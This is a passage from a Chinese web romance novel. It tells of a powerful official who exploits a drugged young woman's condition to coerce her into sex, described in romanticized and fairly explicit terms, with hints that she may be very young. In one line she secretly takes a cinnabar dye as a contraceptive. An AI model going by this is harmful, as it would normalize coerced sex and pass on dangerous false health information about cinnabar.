“不了。”傅珩摇头,“闽州急报已至,恐有敌衅,须我亲返坐镇。况太子非良配,他日我自会为妤姐儿亲自表功。” 傅承怀长叹:“当真,非要走这一步么?” “晏桉便是随了你,瞻前顾后,优柔寡断!布局多年,成败在此一举。多少人身家性命系于其上?你若退缩,莫说底下人不容,便是上头知晓,功亏一篑,傅家焉有完卵?你母亲的仇,难道只报在一个粗鄙妇人身上便算了结?”傅珩掀起细长的眼眸觑他,冷嗤一声,语带讥诮:“怎么?真当自己是太子岳丈,飘飘然了?” “说的什么胡话。”傅承怀瞪视他,责怪道:“你也好意思提晏桉,叔侄挣一个女人,传出去像什么话?要我说,那女子就是个祸根,不如及早了断。” 傅珩哂笑:“你好儿子叫一个女人玩弄于鼓掌数年,该反省的是你们父子,我的事便不用你费心了。” 傅承怀一时语塞,讷然半晌,方低声道:“我只怕你要步他后尘,傅家不能再出一个他。” 这个“他”是谁,兄弟二人心知肚明。傅珩饶有深意地瞥了傅承怀一眼,勾起唇角,嗤笑一声,拂袖扬长而去。 因傅珩公务缠身,孟清辞在此住了两日也未曾得见。她乐得自在,只是每过一日,夜间的煎熬,便更难捱一日。 起初还只是在梦里,叫她遗情梦,到得第三日,竟愈演愈烈,比她初受“离不了情”那日更甚。 夜里孟清辞房中不留人守夜。烛火幽幽,她的所有感官都被无限放大,烛影重重,幔帐摇曳,她匍匐于榻上,只差把她对此事所有的浅薄认知都尝试一遍,却依旧不能纾解那蚀骨的躁动。 她想起那日的硬气,强捱过一夜。可今日,若真有个男子在此,无论何人,她恐难自持。 不知是否老天听见了她的心声,傅珩……竟回来了。 傅珩踏着月色归来,推门而入,携一身露重霜寒。他仍如初见时,身着那袭绯色锦鸡官服。暖黄的烛影幢幢摇曳,在他冷峻过甚的面容上投下深浅明暗,竟意外雕琢出几分清正儒雅。 他足尖一勾,带过圆凳,撩衣端坐,正对床榻。姿态大马金刀,双手撑膝,目光古井无波,竟似那垂目观心、寡欲守戒的佛子。 床榻下,繁复衣裙凌乱委顿于地,堆叠如云。微弱的烛火透过薄如蝉翼的轻纱幔帐,隐现一痕曼妙曲线,纤秾合度,婀娜丰腴。 孟清辞闻声转侧,亵衣半敞,露出一抹藕荷色肚兜,其上大片海棠恣意盛放。那海棠仿佛灼灼开在她羊脂玉般的凝脂之上,玉色生春,海棠醉卧,惊心动魄间,尽是靡艳入骨的灼灼风情。 修长匀称的股胫如光洁玉瓷,在亵衣下半露不露、若隐若现,漾出皎洁光泽。美目倩盼,看过来时,眼波流转,水雾朦胧,一双削肩纤柔羸弱,一副海棠醉月的模样,媚意延绵,娇妩逼人。 傅珩目力极佳,将她此刻倾泻出的浑然天成的风流韵致,一览无余。低沉的声线里揉着几分纵容,似春风拂过琴弦:“可是难受了?” “你明知道。”孟清辞轻咬朱唇,似嗔似怒地瞪向他。一句“废话”几乎脱口而出——他分明什么都清楚,却偏要坐在这儿看她狼狈,还要这般戏弄她。 她想起刘老太医的话,大概明了,这‘离不了情’不调和纾解,很难熬过,她已经挨了几日,今日既没有遗梦,也没有幻觉,整个人无比清醒的置身在堕落的深渊沉沦,没有尽头。 “知道什么?”傅珩莞儿轻笑一声,见她尊称也不用了,更不自称奴婢,想来是逼急了。 孟清辞被如泉涌的多巴胺榨干了精气神,浑身虚软的撑伏在床榻上:“你卑鄙。” 傅珩低笑出声,如拨动了琴弦,涤荡人心:“好姑娘,几日前你可不是这般说的。那时你说与我有情,承我恩义,怎的,如今不过几日工夫,便翻脸不认了?” 孟清辞蓦地睁大双眼,没料到他竟拿她当初的话反将一军。是她太天真,竟忘了傅珩这等在官场沉浮多年的人物,又怎会做赔本的买卖? 她气的胸|脯起伏,呸了一声,嗓音软而媚:“ 罔世人皆赞你,承袭祖父的清风峻节,克己复礼,最厌情|欲,本以为你是个嵚崎磊落之人,不想手段如此龌龊下作。” 傅珩不以为意,坦荡承认:“那日不是叫你都听见了,这侯府哪有什么干净的人,然自古纵横官场的,你见过哪个是干净的?” 孟清辞双臂环抱胸前,她觉得自己从骨子发酥发颤,有种被身体背叛的耻辱感,呼吸急促,喘息里带着丝丝娇媚溢出。 傅珩端正坐在那里,纹丝不动,细长幽深的眸攫住她,清越中带着几分蛊惑:“想要什么,说出来。” 孟清辞指尖陷入床褥,咬牙道:“你出去,随便唤个你的侍从进来。” 傅珩下颌不着痕迹地收紧,肺腑间怒意翻涌,气她宁可委身微贱,也不愿向他低头? “为何?”他声线沉下,透出几分危险的气息,“莫非,爷还配不上你?” 孟清辞无心与他分辨,只直觉一旦越界便再难抽身,气得声音发颤:“你根本是故意的……”现在回想细节处,皆有端倪可循。 傅珩:“若是对你没有这个意思,为何要帮你?爷又不是那乐善好施,好管闲事的活菩萨。” 孟清辞一来不想招惹他,二来意难平,故意刺他:“你要不要脸皮,我曾是你侄女的人,我俩差着辈分!我还小呢!” 傅珩不予置喙,倏然起身,高大的身影笼罩下来,居高临下道,带着不容置喙的压迫:“这里除了我,哪个敢碰你?” 语罢,竟似再无留恋,转身便朝门外走去。 “你混蛋,你回来。”孟清辞慌忙下榻来,跌跌撞撞,踉跄着扑上前,一把攥住他的手臂:“你欺人太甚。” 傅珩垂眸,见她一身凝脂如无暇美玉,因急切毫无遮掩的紧贴着自己,行止间丰腴晃动,如缎乌发凌乱披散,处处透着叫人想要践踏蹂躏的蛊惑。 两人炽热呼吸交错,暗欲喧腾,他抬手,轻柔地将她鬓边一缕散发拨开,细长的眼眸里却仍是一片禁欲般的冷峻,仍问她:“想要什么,自己说。” 孟清辞屈辱的难以启齿,她从没想过,自己要在这种情况下交付自己。 穿越前,那人不要她,而如今面对傅珩,试问哪个女子会喜欢一个,浸透了封建权欲的阴暗老男人? 傅珩拇指重重的碾过她的唇瓣,反复摩挲,纹丝不动的凝着她。 孟清辞委屈的湿了眼眶,眸中水光骤聚,嗓音里裹着哽咽,仰面讷讷道:“要你,求你,帮我。” 傅珩不再迫她,手臂一紧,猛地将她打横抱起,转身便大步走向里间床榻。将怀里的娇人儿放入锦衾之间,俯身压下,如竹是指尖掐住她的下巴,迫她与自己对视,语气沉凝郑重:“记住了,这是你亲自求的,从来不是我强迫你。” 孟清辞倔强的别过脸去,一行眼泪倾倒而下,无声滑落。 如珠如玉的圆润脚趾,因痉挛不断蜷缩,本以为见过世面的人,不想此事如此可怖骇人,难以承受。他俩邢置根本不匹配。 傅珩从前却厌情|欲之事,最恶父母之事。从不曾想,会对一个女子隔不开手,尤其还是一个狂悖不知检点的女子。 见她将各色男子迷得神魂颠倒、玩弄于股掌之间,便越是想要将她拘禁在身侧,要她眼里唯有他一人,要她所有悲喜嗔痴皆因他而起。他一面唾弃自己的不堪,一面抑制不住想要得到她。 都称此为人间极乐事,却不知能叫他情难自控,妙趣横生,甘愿沦为她裙下被支配的俘虏。 一声声又细又媚的哀泣,叫他心猿意马,心尖发颤,险些溃不成军,一败涂地。 孟清辞怪他粗鲁,推搡他肩头,他巍然不动,更叫他霸道以对。 他像是不知疲累,亦不知餍足,她哭红了眼,哑了嗓子,被碾碎了执拗,化成一滩水,湍湍不断,叫她羞愤怒难当,最终只能低头求他放过。 “忍忍,你才能好。”他俯身,轻吻她湿润的眼角,指腹温柔拭去她额间细密的汗珠。如换了个人一样温声软语哄慰,极尽耐心,若不是挣脱不开他的桎梏,叫他纵横捭阖,她便信了他的鬼话。 待云雨尽歇,傅珩浑不在意的用自己的绯红官服,将她裹紧,打横抱起径直走向浴室。余光掠过凌乱床褥间那一抹晕开红痕,心中说不的快意畅快。 霞光进来收拾,惊见傅珩用官袍裹着孟清辞,只一段细瘦的脚腕露在外头,上头清晰印着几道红痕。她心头一跳,慌忙低下头去,不敢细看,快步绕进内间。 心想:三爷何曾这般珍重过谁?这般情状若被日后进门的主母瞧见,如何能容? 甫一踏入内间,一股未曾散尽的旖旎气息便扑面而来,熏得人头晕脸热,她屏住呼吸,手底不停,却又被床榻上的一片狼藉骚得耳根发热,红了脸,衾被翻乱,枕褥狼藉,处处皆是缠绵过的痕迹,再不敢多瞧一眼,手上利落地收拾整齐,便逃也似地低头退了出去。 且说傅珩本是要伺候孟清辞沐浴,他并非毫无节制之人,也怜她年纪尚轻,却不想一番下来,抵不过蚀骨焚心的贪念,情到极致,如狂风骇浪般肆虐。 翌日清晨,傅珩神采奕奕,唯独侧脸两道鲜红的指甲划痕格外显眼。孟清辞拥衾而坐,浑身酸软,彻底下不得踏来,双眸含怨的看着他。 傅珩饶是脸皮再厚,也被她这般直白的目光看得有些讪讪。他轻咳一声,目光微移,语气干涩地开口;“昨日实是我孟浪了,叫你担待些。” 孟清辞并不接话,只冷冷睨着他动作利落地整肃衣冠,从头至尾一言不发,直至他转身离去。 待勉强用了些早膳,唤来霞光,轻描淡写的吩咐道:“去给我熬一碗避子汤来。” 霞光闻言大惊,脸色骤变,连连摆手:“姑娘,万万使不得,若是奴婢胆敢擅自作主,允了姑娘,三爷知道了,奴婢只有被打死的份儿。” 孟清辞叹一声,只能哄着她说:“你我都出自侯府,自然明白,嫡母尚未过门,如何能出庶子?” 霞光听了,心下为难的紧,姑娘的话句句在理,但在三爷跟前当差,三爷未曾交代的事情,下面的人擅作主张,那便是逾越规矩的大罪。 “这是怎么了?”墨松见霞光垮着一张脸从上房出来,好心凑近问道,“当初不是你求着要跟出府来伺候?如今好不容易称了心,怎么反倒愁眉不展的?”他说着,朝上房方向扬了扬下巴,压低声音:“莫非是里头那位主子脾气大、难伺候?” 他二人都是侯府的家生子,两人算是青梅竹马的情分,霞光能从大方出来,走的便是墨松的门路。 霞光闻言轻斥他一眼:“莫要胡说!姑娘虽重规矩,却从不苛待底下人。” “那你这副模样是为何?”墨松愈发的好奇。他是真觉得稀奇,当初在牙行时,他便见识了那位的排头。今日更见自家主子,脸上明晃晃挂了两道彩,那位可不是什么好相遇的主儿,怎地霞光倒觉得她是个好的? 霞光将墨松拉到树荫底下,低声将方才的事一五一十说了一遍。 墨松听得眉头紧锁:“幸亏你没犯糊涂!主子那模样,分明是稀罕的紧,你若是触了这个霉头,可没好果子吃。”他神色凝重,压低嗓音道:“你自个儿警醒些,我瞧着,那位恐有二心。” 霞光双目圆睁,惊讶:“你的意思,姑娘竟是不愿意,不愿意” 墨松比了个禁声的手势:“旁的事情你少打听。” 晚间,傅珩踏归院中,上房里漆黑一片,连盏灯也未点,又听霞光回禀,孟清辞白日里要避子汤的一番话,他面上看不出情绪,只眸色沉了沉,薄唇抿作一线。 他推门而入,无声地融进满室暗寂之中。 孟清辞白日睡足了,此刻正醒着,分明听见他进来的动静,却故意面朝里侧,一动未动。 傅珩知她醒着,上前伸手揽过她肩头,低笑问道:“怎么,还同我置气?” 孟清辞推搡他,一双明眸在昏暗中漾着薄愠,分明是嫌他既占了便宜还卖乖。 傅珩无奈:“原本想告诉你,明日便可随我离开京城的好消息,如今看来,你是不稀罕听了。” “当真?”孟清辞倏然坐起身来,眸中霎时清亮,不自觉地攥住他的衣袖急问:“不是说要等傅大小姐与太子完婚,你才走吗?” 傅珩见她一听要走,便立刻换了神色,对自己却仍是一副有事钟无艳、无事夏迎春的疏淡模样,不禁气得牙痒:“我有公务在身,只得先行一步。” 傅珩说着便想将她揽入怀中,却被孟清辞抬手隔开。她兴冲冲地便要下榻:“那我要把东西收拾好,明日是走水路么?” 傅珩眸色一凉,声音也沉了下来,嗓音冷淡:“怎么,以为‘离不了情’解了,觉得用不到爷了,便要过河拆桥,翻脸不认人了吗?” 孟清辞听这话不对劲,下榻的动作蓦地顿住,她原本觉得傅珩不过是见色起意、趁人之危,两人顶多算各取所需,谁也不欠谁。可细细一品他这话里的意思。 想到之前几天自己的情状,她有些崩溃,不可置信的转脸看他,艰涩问他:“还要多久?” 傅珩斟酌:“多则数月,少则三月。” 此话如晴天霹雳,孟清辞清艳小脸有一瞬间的扭曲,她深吸一口气,信了大半,只道:“叫人给我一碗避子汤。” 傅珩不动声色的问:“为何要避子?避子汤伤身。” 孟清辞又是气恼又是委屈,满含怨怼:“知道你还还,我身子还没长开呢,你若是想要我的命,也不必用难产这等迂回恶毒的法子!” 心想,她连他都不稀罕,怎么可能给他生孩子?何况,她如今的情状,他脱不开干系,怪他还来不及,怎么可能肯为了他生孩子,真搞不懂封建士大夫的脑子里都装了什么? 傅珩怎会不知她鬼灵精,说的不尽然是真,只不想此时与她再次撕破脸。他默了片刻,垂眸叹一声,起身出去。 约莫半个时辰后,他却去而复返,亲自端来一碗温热的汤药,缓步走至孟清辞跟前。 孟清辞心领神会,立刻伸手去接药碗,正要仰头一饮而尽,腕间却忽地一紧。 端药碗的手腕却被傅珩扣住,眸色晦暗不明:“这一次是意外,我允你。但只此一次,下不为例。” 孟清辞痛快的颔首答应,随即忍着苦涩,将一碗药,一饮而尽—— 作者有话说:感谢大家的陪伴,庆祝一下,即日起到夹子当天,全订留言随机掉落20个红包 喜欢的留言给我,文没有注水,跳着看可能错过细节。[比心] 两个都八百个心眼子的人终于在一起了,下章换地图了,男主不是上来就发疯,也不是上来就伤害,女主现在还没有翻脸的资格,俩人都为了各自的目的苟人设,虚与委蛇。 希望你们喜欢这种别样的强取豪夺。[让我康康] 第24章 第 24 章 轻抹重捻 孟清辞饮尽汤药, 唇边尚余一抹深褐色药痕,朱唇泛着水渍光泽,莹润诱人。 傅珩眸色深深, 如玉竹的修长指腹, 轻抹重捻,为她拭去残渍, 流连间,姿态甚是亲昵。 恰逢霞光端着一盏燕窝粥踏入室内, 正撞见这般情景,忙垂眸避开,心下不由暗赞:好一副檀郎谢女图, 般配的很。 傅珩接过来燕窝粥,亲自试了试温热,才执匙喂到她唇边:“‘离不了情’对元气损耗极大, 你才用了药,若不用些膳食,仔细肠胃受损。若是夜里发作起来, 明日动身不得,可怪不了谁?” 孟清辞最忌讳夜间进膳,晚膳向来少食或不食, 但听他所言确有道理, 到底没有拂了他的意。 傅珩看似温和好说话, 处处迁就她, 实则不如傅晏桉好糊弄, 他既开了口,便是不容违逆。 她若是拂逆了他的意她若是执意不从,依他的性子, 软硬兼施也好,步步为营也罢,不达目的绝不会罢休。她倒也懒得与他多费唇舌。 见孟清辞爽快听话,将大半碗燕窝粥都用尽了,傅珩才满意几分。看她垂眸乖顺的模样,心下明镜一般,小姑娘骨子里离经叛道的很,此番叫他乘人之危,此刻指不定在心里如何编排他。 若他也像旁人那般迂回周旋,是万不可能的,几番见识,前车之鉴,怕到时候落得和那些男子一般,被她耍的晕头转向,团团的转下场。 孟清辞漱了口,重新躺下,背对他而卧,只留给他一道冷淡的脊背,俨然一副不愿再费神应付他的模样。 屋内只闻傅珩窸窣宽衣的细微声响,半晌,轻纱幔帐掀开,傅珩寻上榻来,一只手臂便轻巧的将她转过来。 “你做什么?若是不睡,便出去。”孟清辞佯怒而视,她都不计较分一半床榻给他,这老男人竟然还不满足,果然人老事儿多。 孟清辞本性本就骄矜,骨子里养出的大小姐脾气,能吃苦却不能受委屈,她丝毫不受半点闺阁女子的规矩约束。 如今叫傅珩看穿,倒有几分破罐子破摔,露出本性来。侯府十年忍耐,已是她的极限。从今往后,一刻也不想再委屈自己。 傅珩低笑,非但不退,眼底反添了几分兴味:“上了我榻,却要将我赶下去,你这性子,莫怪到,非要赎出去,不做奴婢。” 他从前见她,她都在谨慎克制,装模作样的敷衍周旋旁人。此刻见她嗔怒交加,撒泼撒痴,反又神女下凡,眉目生动感。 傅珩看出来,小姑娘如今知敷衍他无用,便懒得和他装腔作势了。 他晃了晃手里的青玉瓷瓶,莞儿道:“你昨夜辛苦,上些药,身子也能爽利些。” 见傅珩长指一番,挑开自己中衣的系带,孟清辞顷刻便懂了他言下之意。 想,昨夜便是他这双手如竹柔韧的手,如何非要百般作弄自己,如何恶劣至极的逼迫于她,叫她难以启齿至极,不想回忆一点儿。 她一把夺过那青玉瓷瓶,撑身躲向床榻里侧,拢紧散开的衣襟,靠坐在床架上,烧得滚烫,没好气道:“我自己来。” 她自认并非是个保守之人,可叫遇上傅珩,总叫她措手不及,技术不行,手段不少。 傅珩更不似年轻儿郎那般知羞知臊,三言两语便可揭过去。他不装正人君子后,毫无底线,不知收敛,她一再被他逼得方寸大乱。 傅珩细长的眼眸轻阖,嗓音低低如琴弦拨动:“你自己涂不匀。” 许是一番纠缠当真疏解了郁结,孟清辞今日并未动念,人也神清气爽如常,却被他这句话勾得娇躯轻颤,便想到昨夜情状,他是如何在此间逼迫她,拿捏他,为难她,非要她说的那些羞人的话来。 直气得她心口剧烈起伏,扬起手中青瓷瓶砸向傅珩,羞愤难当,斥他:“你没有羞耻心,你无赖。” 傅珩恍若未闻,抬手便轻巧稳当的接住那迎面飞来的青玉瓷瓶。 从前只觉她清艳容颜带着三分不可侵范的神性,甚是冷心无情,叫他想攀折,想要拉她堕落神坛,想叫她沾染他的气息,打上他的烙印。 如今见她因薄怒脸颊绯红,美眸中似有火焰在烧,妍姿妖艳,艳丽逼人,叫他深陷移不开眼。 孟清辞背过身去,双肩隐隐耸动,潸然泪下。 她一向不是个软弱之人,在侯府十年并没有自怨自艾,昨日与傅珩,事后也没有哀怨自怜,此刻却觉得委屈万分、十万分。 傅珩见她伤心起来,叹一声,轻捏她的双肩,哄道:“好了,是我的过错,看在我一心为你,你且大度饶过,忍耐一番。” 孟清辞自幼被家族庇护得极好,又有那人精心呵护,便有几分聪慧,不是不谙世事的姑娘,又如何招架得住傅珩这等老谋深算,官场上的老狐狸。 虽顾忌她身体,却也拉着她胡闹到后半夜,傅珩不动声色,却想要扎进她灵魂里的感觉,叫她避无可避,叫她心惊肉跳。 孟清辞从来不是懈怠的性子,,翌日仍旧就醒的迟了些,但傅珩昨夜终究是手下留情,并未如何她,当真只是帮她上药,算得上言出必行,却并非是个不知索取的君子。 她神情赖赖的插了支点翠百合簪,一副被打击的蔫蔫模样,整个人提不起半点劲头。 她只仔细检查了那个从侯府带出来的随身包袱,至于其他一应行李,皆交由霞光打理,饶是价值连城的东西,也并不放在心上。 傅珩临行前公务缠身,一早便出了门,直至近晌午时分才匆匆赶来接她。一眼望去,只见孟清辞蔫蔫地站在那儿,整个人如同被霜打过的花儿似的,没精打采。 他眸光微动,侧首吩咐下人取来一件披风。 孟清辞正心头憋闷,见状更是气不打一处来,抬手就将他递来的披风拂开:“少要假惺惺!这般闷热的天,谁要穿这个?” 傅珩心知,她仍在为昨夜之事怄气,当着一众被下了脸面,向来冷峻的肃容略错愕一瞬,便恢复如常,依旧仔细地将披风为她系好,无奈纵容:“码头风大,你如今身子骨经不得风吹,听话些,莫要拿自己身子置气。” 一旁,墨简、墨白等,平日近身伺候傅珩的侍从、仆婢,见这姑娘如此驳斥三爷,早已看得骇然不已。 再瞧他们那位素来不近女色、寡情冷性,威严冷峻的三爷,非但毫不介怀,反而耐着性子,细致妥帖的温存低语,透出几分绝无可能的小心与迁就。 更是叫他们差异的要惊掉下巴,一个个慌忙转身去,低垂着头,连大气也不敢出。 孟清辞微愠地横了他一眼,不好叫他在一众亲信面前太过没脸,徒惹他性起,只负气别过脸。 傅珩亲自搀扶着她出了门,二人共乘一辆马车,径直往京畿码头行去。 孟清辞每每见到傅珩,他似乎总与成堆的公文为伴,不是伏案疾书,便是凝神批阅。想来身居要职,自是案牍劳形,公务繁杂。 此刻见他刚踏上马车,便又执起卷帙,沉浸于政务之中,并未得暇前来与她纠缠。她倒也乐得自在,一路倚着车窗,闲看市井繁华、街景熙攘,不觉间马车已缓缓停靠在码头之上。 傅珩正要扶她登船,忽闻一声凄切呼唤,自身后传来,霞光反应极快,当即上前将来人死死拦住。 “晴儿,求你,求你救我!” 孟清辞闻声一怔,下意识推开挡在身前的傅珩,循声望去,见竟是二太太江氏,却惊讶,她一身素袍冠服,脂粉不施,满面的憔悴灰败之色。 孟清辞抿唇,不由含怒瞥一眼身旁的傅珩,旋即快步上前,伸手将几欲瘫软的二太太江氏稳稳扶住:“这是怎么了,你且慢慢说。” 二太太江氏满面泪痕,手指紧紧攥着孟清辞的衣袖,颤声道:“原不想来叨扰你,平白给你添了烦难,只他们要送我去静心观。”说着她目光斜向傅珩,忙畏惧的收回来:“只我是个没骨气的,狠不下心自我了断,若叫我去女观里遭那个罪,不如现在给我一刀的痛快。” 孟清辞闻言不禁凝眉。京畿城的静心观,那是专用来囚禁权贵罪妇的牢笼,举凡关进去的,就没有能活着出来的。她蓦然转身,气愤的质问傅珩:“你既有决断,当初又何必应承我,既然应承了我,又何必如此敷衍我,莫不是就喜欢戏耍于我?” 傅珩眸色淡淡,冷眼扫过江氏:“她秽乱内宅,乃是大罪,看在你求情才没有施以家法。” 孟清辞站在码头上,江风猎猎,吹拂她的鬓发,她唇边逸出一缕讥诮的冷笑:“这种哄傻子的话,便莫要拿来于我说笑了。我是你从亲侄子榻上亲手夺过来的,你明知道我与你两个侄子不清不楚,另有牵扯不清的外男,你如此嫉恶如仇,怎还没脸皮的要上我的榻来?现在倒是和我论起纲常伦理来。” 饶是傅珩纵横官场十数载,见见惯风浪,也架不住她这般当众口无遮拦。他脸色倏然一沉,猛地上前一步攥住她手腕,阴翳森然的警告:“休要胡言乱语!平白玷污了自己的名节。” 孟清辞心里憋着的一股火似是熊熊烈焰蹿起,丝毫不惧他:“她当年听从父母之命、媒妁之言,嫁入安义侯府,何错之有?世人皆道‘出嫁从夫’,夫家要她生便生、要她死便死,她顺从了,这又何错之有?她不过一个不能掌握自身的可怜人,叫你们傅氏磋磨的人不人,鬼不鬼,你何苦苛责于她?” 傅珩锐利的目光瞥一眼江氏,仿佛瞥见了什么不堪入目的秽物。心底那股无名火愈烧愈旺,恼恨她因一个外人,同自己争执计较,全然不顾他待她的真心。 他唇角紧抿,下颌绷成一条冷硬的线,任她如何质问也绝不肯松口分毫,冷笑一声:“便是我不计较,放她出去,依照律法,她也要归还娘家,她一个丧夫被发还娘家的女子,日子未必就比女观里自在。” 孟清辞叫江风一吹,一腔烈焰浇熄下来,暗啐自己叫那‘离不了情’乱了心绪,叫情绪一激,便上头起来。 她反手握住傅珩温热的手掌语气软下来:“律法是死的,人是活的,以你的权势,便给她立了女户,又有何难?”她的指尖甚至还摩挲了下他的掌心:“刚才是我不好,一时语出伤人,只这几日,我又哪一样没有依你,你便发发慈悲。” 傅珩知她骨子里倨傲的很,这两句软话已是不易,却仍旧冷着脸不言语,她翻脸的本事他亦是领教过。 若是轻易遂了她的意,她日后在他面前,岂不是尾巴要翘到天上去。 孟清辞观他态度似有松动,握着他的手不放,旋即转头吩咐侍立一旁的墨松:“你即刻带二太太去衙门立下女户,务必办得干净利落,莫要堕了三爷的体面。” 墨松知她在主子心中的分量,恐得罪于她,不敢开口推拒,却又不敢擅自做主,只得悄悄抬眼去觑傅珩的神色。见主子虽面沉如水,却并未出言阻拦,心下顿时了然,这才躬身叉手,恭敬应道:“是,属下明白。” 江氏早已泪眼滂沱,闻言便要屈膝下跪,向孟清辞行大礼,叫孟清辞避开。 墨松眼见主子脸色愈发阴沉冷厉,不耐至极,赶忙上前将碍眼的江氏拖走。 傅珩瞥见她如释重负的神情,自齿间挤出一声冷嗤:“这下可称心了?” 孟清辞松开他的手,转身踏上甲板。嗓音轻飘飘的散在江风里:“世人皆道你克己复礼、持身以正,今日一闻,傅氏三郎不过如此。” 傅珩耳力极佳,听了她此言,顿时面色骤沉,气得几乎仰倒,咬牙追上去,要叫她知道厉害—— 作者有话说:脑干要干了,感谢大家喜欢,很开心[比心] 接下来船开了,扬帆起航 第25章 第 25 章 风流莞儿 傅珩十六岁即状元及第, 陛下盛赞其腹有珠玑、天纵奇才,堪称国之重器。 其后仕途通达,累官至闽广总督。傅氏威望素著, 陛下亦借其力以震慑地方豪强。傅珩镇守闽广多年, 戍边有方,尤擅抚驭土司, 稳摄边陲。昔年为固闽广之安,朝廷特旨夺情, 不令其丁祖母之忧。 傅珩的官船通体描金彩漆,缨穗旗迎风猎猎,是一艘六桅宝船, 船身长达二十四丈,宽九丈四尺(约长80米,宽31米), 巍然巨舶,扬帆疾驶,其势迅捷如飞。远望之, 但见舳舻压浪、旌旗蔽空,气势恢宏。 官船一出京畿,便沿江州一路南下。所过之处, 江面船只但见缨穗官旗招展, 皆纷纷退避让道。 船外海鸟声声啼鸣, 船内傅珩正埋首案牍公文, 非要拘着孟清辞陪他办公。 船行数日, 孟清辞早已看腻窗外单调的海景,便从傅珩的书架上取些山川地理之类的游记翻阅。傅珩的书架藏书甚丰,比傅家兄妹的广袤得多, 许多都是她昔日居于侯府内宅时无从得见的典籍。 她在侯府的十年,宛若困于笼中之雀,对外面的天地所知甚寥。如今得了机会,正好细细填补认知,为日后离府自立做些准备。 这日,她无意间翻至一册趣志,书中竟夹着一张似为航海所用的图纸,其上标记竟皆是古老的外文。 她曾经在南京博物馆,逛过明代的航海馆藏,一眼辨认出了此物。饶有兴致的拿起来仔细辨识,又寻来笔墨纸砚,伏案逐字译注。 想起曾听人说过,广州重开海贸乃是傅珩一力主张,不过数年竟经营得万国来朝,客商云集,很是一番气象恢宏。 她思忖,若将来离开后独自谋生,女子能做的营生属实不多,都是些纺织、刺绣的辛苦劳作。 尤其是她钟爱的舞蹈一业,在这世道间不过被视为娱人之技,要入贱籍,难逃权贵轻蔑玩弄。倒是做掮客翻译,对她来说,未必不是一条出路。 傅珩于书案抬首,见小姑娘将软榻据为己有,斜靠在软榻上的小几上,腰身细若垂柳,一手执笔,不知在写着什么,聚精会神,时而蹙眉,时而抿唇,只没一时是抬眼看他的。 他搁笔起身,缓步走近,双手轻轻按上她纤瘦的肩头:“在看什么,这般着迷?我这书架多是枯燥典籍,本以为你会觉得无趣。寻常姑娘家不都爱话本子、听戏文么?你倒是耐得住性子。” 孟清辞不动声色地将袖下的航海图掩住,只露出一本寻常的山川游记。她眼波微转,唇角含笑道:“你这儿的书,于我倒别有一番趣味,我原困囿侯府,不曾远游,不知道世上还有这样多的奇闻异事,一时倒沉迷起来,竟移不开眼。” 本以为以她的性子,心不甘情不愿的跟了自己,被他强行留在身边,总要同自己闹上一阵,不想她却能这般如常相处。只他总觉得一颗心落不到实处,仿佛指间流沙,握得越紧,流失得越快。她明明近在咫尺,却似隔着一重烟水,教人捉摸不透,也握不牢靠。 “这样看我作甚?”孟清辞见他目光中透出审视,唇边的笑意便淡了几分,顺手将那本游记不轻不重地撂在小几上,“你若是不愿借与我瞧,直说便是。难道我还赖在这儿不成?整日对着你,不是批文就是议事,死板无趣的很。” 傅珩忙解释道:“是我忙于公务,冷落了你。今日船将靠岸,浙江知州乃是我门生,已递了话要登船拜谒。届时我让他携夫人同来,与你作伴闲聊,也好打发消遣。” 傅珩被她嗔非嗔的眼风一扫,透着难以言说的浑然天成的风流莞儿,搔得他心头发痒。似乎只要她肯分出一两分心思予他,哪怕是敷衍,也足以令他心旌摇曳。他不由得在心底暗暗唾弃自己竟然是副贱骨头。 想他不久前,犹讽傅晏桉在她面前摧眉折腰,失了风骨体统,如今自己对着她,竟与傅晏桉那愣头青一般无二,往日恪守的清规戒律悉数抛诸脑后,只愿沉溺于此般温存之中,当真生出几分昏聩之意来。 傅珩本是一片好意想讨她欢心,不料却换来佳人一声讥讽的轻笑。 “我不过一个前侯府的奴婢,如今被你拘在身边便罢了,浙江知州的夫人来了,该以何种礼仪待我?”骨子里的傲气叫她眼尾微红,推搡他,声音里带着刺:“莫非伺候完你,还要去伺候你门生的夫人?你若对我不满,直说便是,何须这般折辱人!” 虽然只是听她说说,但想到她要给人伏低做小的模样,傅珩心头滞闷,他眼底掠过一丝不悦:“浑说些什么?她是什么东西,怎配叫你伺候。都说了是她来给你解闷儿,自然是她来伺候你,奉你主上。” 孟清辞借机偷偷将那张海图藏于袖中,佯装愤然起身:“莫非是要叫全天下人都知道,我是个不知廉耻的浪□□子,与你无媒苟合?叫浙江知州夫人看我的笑话么?” “我并没有这个意思。”傅珩听她这般自轻自贱,心口蓦地一疼,伸手便将人揽入怀中,掌心贴着她单薄的脊背轻轻抚慰。他何尝愿意委屈她?只是如今大事未成,他的婚事又牵扯众多谋划,却不好此事与她明言。 孟清辞方才那一番话,半是情势所激,半是存心试探,不过是想探一探傅珩容她的底线何在。至于他待她是否真心,她实则并不在意。纵然彼此已有肌肤之亲、缠绵之近,可面对他这般心机深沉、手段狠厉的封疆大吏,她心中始终泾渭分明,生不出半分情愫。 恰逢此时,墨简在门外敲门禀报:“主子,该用膳了。” 孟清辞趁机从他怀中挣脱,语气平淡:“我饿了,摆饭罢。” 傅珩命人将膳食传至书房。两人相对而坐,他本以为她会继续先前质问,却见她只低眉垂目,小口进食,姿态安静得像一只梳理皮毛的狸猫,反倒让他有些捉摸不透。 饭至半酣,孟清辞忽然抬眸,嗓音清冷如碎玉:“你既不命人送避子汤,要我如何避子?你是要反悔吗?” 她从未真正信过傅珩。即便是他送来的避子汤,她也心存疑虑。登船后,便暗中取用他书房中那含朱砂的染料偷偷服下。她绝不容许自己都朝不保夕的情况下怀有身孕。 一想到她是中了‘离不了情’,被迫与他纠缠的情况下有了孩子,她无法面对这个孩子,自己都过不了自己心里那一关。 傅珩执箸的手倏然顿住,他清晰地感受到孟清辞周身绷紧的抗拒,那几乎屏息的姿态,像一根冰冷的针,猝然刺入他心口。 一股怒意倏地窜起,他出身簪缨世族,身份尊贵,手握权柄,何曾有人敢嫌弃于他。他虽然手段不磊落,精心养在身边些许时日,待她一片赤诚,两人几番肌肤相亲,她对他竟似丁点情意都未滋生,提及子嗣,竟抗拒到如此模样。 孟清辞掀起眼帘,见他眸色漆黑阴翳的盯着她,她放下碗筷,轻声一句:“我还小呢,我怕死。” “何曾骗你,我用了避子汤,你自然不必再用。”傅珩叫她寥寥数语便散了一腔怒火,无奈给夹菜:“多吃点,你瘦的硌手。” 孟清辞脸色好了几分,嘟唇拒绝:“不吃,胖了不好看。” 